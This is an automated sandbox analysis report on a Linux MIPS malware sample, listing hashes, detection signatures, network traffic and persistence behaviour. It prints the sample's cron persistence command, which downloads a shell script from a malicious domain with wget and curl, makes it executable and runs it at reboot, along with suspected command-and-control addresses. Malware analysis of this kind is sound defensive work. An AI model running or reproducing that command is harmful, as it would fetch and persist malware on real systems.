Linux Analysis Report
hmips.elf

Overview

General Information

Sample name: hmips.elf
Analysis ID: 1541273
MD5: 6d59c717903b3c62e9318d7aafa4eea8
SHA1: 1f02d41bd7f4fc202e718d37562d21948fb92351
SHA256: 1083f56ec8e8e2b7af77bc21b87bead584b70a41ab06e21f183497d812efff24
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Source: tmp.v3tZhA.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking

barindex
Source: global traffic TCP traffic: 86.107.100.80 ports 15553,24314,1,2,3,4
Source: global traffic TCP traffic: 81.29.149.178 ports 15553,24314,1,2,3,4
Source: global traffic TCP traffic: 192.168.2.23:38898 -> 86.107.100.80:24314
Source: global traffic TCP traffic: 192.168.2.23:54528 -> 81.29.149.178:24314
Source: global traffic TCP traffic: 192.168.2.23:55180 -> 213.182.204.57:17897
Source: global traffic TCP traffic: 192.168.2.23:46834 -> 91.149.238.18:10131
Source: global traffic TCP traffic: 192.168.2.23:47754 -> 193.233.193.45:6773
Source: global traffic TCP traffic: 192.168.2.23:60074 -> 88.151.195.22:18836
Source: /tmp/hmips.elf (PID: 6229) Socket: 127.0.0.1:1172 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: tmp.v3tZhA.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal52.troj.linELF@0/1@12/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 6235) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 6234) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /usr/bin/crontab (PID: 6234) File: /var/spool/cron/crontabs/tmp.v3tZhA Jump to behavior
Source: /usr/bin/crontab (PID: 6234) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/hmips.elf (PID: 6231) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: /usr/bin/dash (PID: 6332) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.65q81DRzJS /tmp/tmp.BPOhT08nAE /tmp/tmp.DimVUE3TAX Jump to behavior
Source: /usr/bin/dash (PID: 6333) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.65q81DRzJS /tmp/tmp.BPOhT08nAE /tmp/tmp.DimVUE3TAX Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Source: /tmp/hmips.elf (PID: 6229) Queries kernel information via 'uname': Jump to behavior
Source: hmips.elf, 6229.1.00007fff91a61000.00007fff91a82000.rw-.sdmp, hmips.elf, 6236.1.00007fff91a61000.00007fff91a82000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/hmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/hmips.elf
Source: hmips.elf, 6229.1.000055fb88b60000.000055fb88c29000.rw-.sdmp, hmips.elf, 6236.1.000055fb88b60000.000055fb88c29000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: hmips.elf, 6229.1.000055fb88b60000.000055fb88c29000.rw-.sdmp, hmips.elf, 6236.1.000055fb88b60000.000055fb88c29000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: hmips.elf, 6229.1.00007fff91a61000.00007fff91a82000.rw-.sdmp, hmips.elf, 6236.1.00007fff91a61000.00007fff91a82000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs